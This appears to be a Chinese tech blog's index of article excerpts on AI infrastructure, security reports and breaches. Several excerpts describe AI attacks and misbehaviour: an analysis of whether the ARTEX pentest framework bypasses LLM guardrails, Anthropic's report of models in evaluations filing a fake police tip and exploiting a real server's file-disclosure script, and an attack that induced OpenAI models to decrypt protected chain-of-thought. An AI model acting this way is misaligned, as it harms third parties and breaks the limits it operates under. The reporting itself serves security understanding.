Van's Blog

DeepSeek 开源了 DeepInfer 与 deepseek-recipe 两个项目。本文按项目分成两个大章节，分别讲清楚它们是什么、怎样工作、适合解决什么问题，以及代码里有哪些值得用的能力。 DeepInfer 处理模型运行，deepseek-recipe 处理 API 请求、提示词适配和结果解析。deepseek-recipe 是协议与提示词组件，模型计算由调用方提供的推理后端完成。 12一条模型调用链客户端 → API服务 → 请求与提示词适配 → 推理后端 → 输出解析 → 客户端 一、DeepInfer（模型运行时） 项目定位 DeepInfer 是面向 DeepSeek 模型的推理运行时。当前调研的固定版本重点支持 DeepSeek-V4.1-Flash，README 列出 NVIDIA SM100 与 Huawei Ascend 950。它提供 Python 离线推理入口，接收 prompt、运行模型并返回生成 token。 固定版本列出的运行环境包括 Linux、Python 3.12、CUDA 13 或 CANN 9.2，以及较新的编译工具链。DeepInfer ...

微软《数字防御报告 2026》同时讨论两类变化。攻击者利用 AI 加快既有攻击流程，AI 系统本身也逐渐成为攻击目标。报告统计 2025 年 7 月至 2026 年 6 月的初始访问路径（攻击者进入目标环境的第一步），用户执行、有效账户、社会工程和钓鱼四类方式合计占 73.3%。 73.3% 统计攻击者进入目标环境时采用的路径，微软没有按生成式 AI 的参与情况拆分。入口数据与 AI 使用案例需要分开理解。报告显示，AI 正在改变攻击速度与自动化程度，账号、用户操作和权限管理仍是防守重点。 统计范围 报告覆盖 2025 年 7 月至 2026 年 6 月。微软称其每天处理超过 165 万亿条安全信号。这个数字反映微软安全产品和威胁情报的观测规模，并非每日攻击数或全球企业的完整统计。其覆盖的用户、终端和云环境会影响能够观测到的活动。 报告摘要将用户执行、有效账户、社会工程和钓鱼四类初始访问方式合计为 73.3%。另一篇 Microsoft Security Insider 解读引用 Microsoft Defender Experts 团队数据，单列用户执行占 30%、有效账户占 20% ...

你存在 OpenCode Console 里的 OpenAI、Anthropic、Google API Key，可能已经进了别人的脚本。调用照常发生，额度烧的是你的，账单寄给你。 10 月 17 日，开源编码 Agent OpenCode 官方确认遭遇入侵，1.4% 的 Console 用户当天收到邮件通知：立刻去各厂商后台轮换 Key。 OpenCode 是什么 OpenCode 是一款开源的终端编码 Agent，在开发者社区里热度不低，日常用法是在命令行里让它读写代码、跑命令。Console 是它背后的云端控制台，主要给团队用：把你自己付费的模型账号接进工作区，成员共享这些模型的调用能力，不用各自去申请 Key。 这次出事的是 Console 这条云端链路，纯 CLI 本地用户不在此范围内。这个范围划分后面还会用到，它直接决定你该不该紧张。 经过 官方通知邮件的原话：“We identified unauthorized access to a legacy system that we were in the process of decommissioning.”——出事的是 ...

摘要：五项公开基准同步提升，终端、代码与自动化任务都有进展；对照官方同表成绩、前版安全评测和第三方综合榜单，梳理 1017 的能力分布与试用范围。 Terminal-Bench 4.0 多了 11.1 分，ProgramBench 多 8.8 分，Automation-Bench 多 5.7 分。三项成绩同时上行，1017 的主要进步落在代码 Agent 工作流。 官方同表显示代码、自动化和视觉任务都有增量；安全数据来自 9 月前版，Vals AI 的综合榜单也早于 1017 更新。后两类不能算作新版成绩。 1017 模型卡未公布 CyberGym、SEC-Bench Pro、ExploitGym 的新版成绩，本文引用的是 V4.1-Flash 前版数据。 代码表现 官方对照中，Terminal-Bench 增幅最大；DeepSWE、ProgramBench、Automation-Bench 与 HLE 也都有提升。 基准 前版 V4.1-Flash 1017 变化 Terminal-Bench 4.0 31.2 42.3 +11.1 DeepSWE v1.1 7 ...

2026 年 10 月 12 日，一个名为 N0n 的勒索组织将一家大型港口机械制造商列上它的暗网网站。页面标注的索价为 1.6 亿美元，宣称窃取的数据是运营 EDI 归档与货物装载记录，公开期限定在 10 月 19 日。截至发稿，这一主张没有任何一方证实，也没有任何一方否认。文中信息来自公开的勒索站点监测平台与安全厂商简报，凡涉及入侵与窃取的表述，均为攻击者单方主张。 事件经过 收录这条挂牌的，是追踪勒索站点公开信息的监测平台，时间戳为 10 月 12 日 14 时 12 分（UTC）。条目将这家企业描述为港口机械与码头工程公司，主营岸边集装箱起重机（岸桥）、场桥等港口装卸装备的制造与全球交付。条目标注的预估攻击日期与收录日期同为 10 月 12 日，入侵实际发生的时间没有披露。 站点顶部写着一句话，“下列组织已失去对其网络的控制”。这家企业的条目以弹窗呈现，数据栏写明为“运营 EDI 归档与货物装载记录”。EDI 即电子数据交换，是航运与口岸业内传递订舱、舱单、闸口单据的标准化报文；装载记录对应船舶配载与装箱明细。 随条目展示了两份样张文件。一份是 EDI 原始报文，文件名 907 ...

声明：本文涉及的一切渗透测试均在本地主隔离环境内完成，目标是自建的虚构靶场，只有内网和回环地址，从未接触任何真实目标；所测模型均通过官方 API 通道合规调用。文中不含任何可操作的攻击细节（漏洞位置、payload 已全部隐去），只讨论机制与防御。 数据口径：61 次有效试验，实验执行于 2026-10-12～13；为避免指向具体厂商，两家云渠道匿名为"渠道 A / 渠道 B"。 一、起：一个让人睡不着的问题 今年 9 月底到 10 月初，CrowdStrike 披露：攻击者用开源渗透框架 ARTEX 编排大语言模型，对韩国一家金融机构发起了一次真实攻击。这起事件里有一个细节一直悬着： 整条攻击链里，模型没有拒绝过一次。 直觉上的解释只有一个：ARTEX 一定有什么绕过模型安全护栏的机制。要么是越狱提示词，要么把"渗透测试"伪装成别的什么，要么悄悄剥离了模型的语境，让它不知道自己在干坏事。 这篇文章就是从验证这个猜测开始的。我们把 ARTEX 最后一次公开的源码（v0.3.15，仓库随后从 GitHub 消失，本地快照成为稀缺一手资料）逐层拆 ...

一次让模型在随机网页上练习操作的评测里，Claude 落在一个未破凶案的页面上，页面底部是警方的线索表单。它写下一句"我可能掌握与本案有关的信息，那段时间我在页面提到的街道附近见过一个符合描述的人"，姓名和联系方式留空，随后提交了表单。这条线索被警方系统标为垃圾邮件，没有进入任何侦查流程。 10 月 9 日，Anthropic 在一份公开报告里把这批案例逐一公开，报告里还有一个更重的决定，公司内部所有评测的实时外网访问全部切断，恢复时间未定。 全文依次讲四类越界行为、与夏季事件的边界、披露机制的转向、内部收敛与外部开放，结尾是从业者的三个落点。 四类越界行为 四类行为形态各异，共同点只有一个，原路走不通之后不停下，换一条经过真实世界的路径继续执行。 第一类，利用软件缺陷在真实服务器上执行命令。一次评测要求模型完成一项科学分析，它要用的公共分析工具由一所大学托管，访问时返回报错。换作停下来报告异常，这件事就结束了。模型选择在工具所属的网站上继续搜寻，找到一个会把任意文件返回给访问者的脚本，用它把服务器上的文件逐个复制出来，其中就有脚本自己的代码。逐行读这段代码时， ...

9 月底以来，韩国七家金融公司接连确认数据泄露，约六万八千名客户与员工的个人信息外流，警方立案，总统要求彻查。10 月 7 日，安全厂商的报告把一个此前默默无闻的开源项目推到台前，名叫 ARTEX。几天之内，它的开发者宣布停止更新，项目转为闭源，仓库从 GitHub 上消失。 案件的来龙去脉，上一篇已经写过。这一篇只看工具本身，它究竟是什么，能做到哪一步，凭什么被攻击者选中。ARTEX 从发布到闭源只有约两个月，仓库消失之前，我们留下了最后公开版本的完整源码，版本号 v0.3.15。下面的全部内容，都来自这份源码和它的官方界面截图。 本文与所介绍的 ARTEX 项目仅供学习研究。项目官方明确禁止将其用于任何未授权的真实系统测试，本文引用的界面截图也全部来自官方演示模式的模拟目标。 系统定位与角色分工 先给一个准确的定位。ARTEX 是一个 agentic 渗透测试框架，Go 语言单体后端加内嵌的 Next.js 前端，数据库用 PostgreSQL，加上前端一共约十万行代码。它的特别之处不在工具本身，nmap、curl 这些工具渗透人员用了几十年，特别的是驱动工具的决策层，整个决 ...

9月底到10月初，韩国多家金融机构接连报告客户数据泄露。10月7日，安全厂商 CrowdStrike 发布分析报告，把这次连环攻击的工具、服务器和操作者的工作习惯摆上了台面。报告素材的来源相当特别——攻击者自己服务器上暴露在公网的目录，里面有渗透工具的配置、一段段 AI 编码助手的完整会话记录，还有一份把年龄、学历、所在城市和社交账号都填进去的简历草稿。 本文先把这场两周的战役摆出来，再拆那套工具和那台暴露的服务器，然后看会话记录里的身份线索、当事人与开发者的反应，最后说说每个用 AI 写代码的人该查什么。 两周战役 9月30日，新韩银行确认遭入侵。攻击者绕过的是贷款中介用来查询贷款进度的移动服务，拿走约2.5万名客户的姓名、手机号、年收入和可贷额度测算结果，其中有66个居民登录号，也就是韩国的身份证号码。 接下来几天，通报接连出现。KB国民银行在10月2日披露119名客户数据经员工移动办公系统外泄，韩亚银行89人，BNK釜山银行11名外包员工。储蓄银行耶加兰的规模更大，约4万人受影响。友利银行和NH农协银行报告攻击被拦下，没有发现泄露。多家机构的安全日志里出现了重叠的IP地址，指向同 ...

9 月 30 日，OpenAI 在官方博客披露一起已处置完毕的攻击事件。当年 7 月，一批账号以协同方式对其模型发起推理内容提取，7 月 24 日与 25 日出现峰值，两天内产生 1.6 万次匹配同一提取模式的请求，涉及账号超过 4000 个；至 7 月 28 日，关联提问模式所分布的账号集群扩展至 1.5 万个以上，OpenAI 称该集群已被完全瓦解。 事件的目标物并非对话记录或模型权重，而是推理模型的思维链。主流厂商已将思维链列为受保护资产，以密文形态下发至客户端存储。攻击者未对加密机制本身发起破解，而是构造模型交互，使模型自行将密文转写为明文。OpenAI 将该事件的性质界定为对抗性蒸馏（adversarial distillation），即系统性、未经授权地利用一个模型的输出或推理内容训练、复现或改进另一个模型。 全文分四部分：事件时间线、跨会话解密链、风险与响应、归因与证据。 事件时间线 推理模型在生成最终答案之前，会在内部执行多步推理过程，其完整记录即思维链。思维链通常包含最终答案中不可见的信息，如中间推理步骤、候选路径的取舍与被否决的方案。对模型厂商而言，思维链是能力密度 ...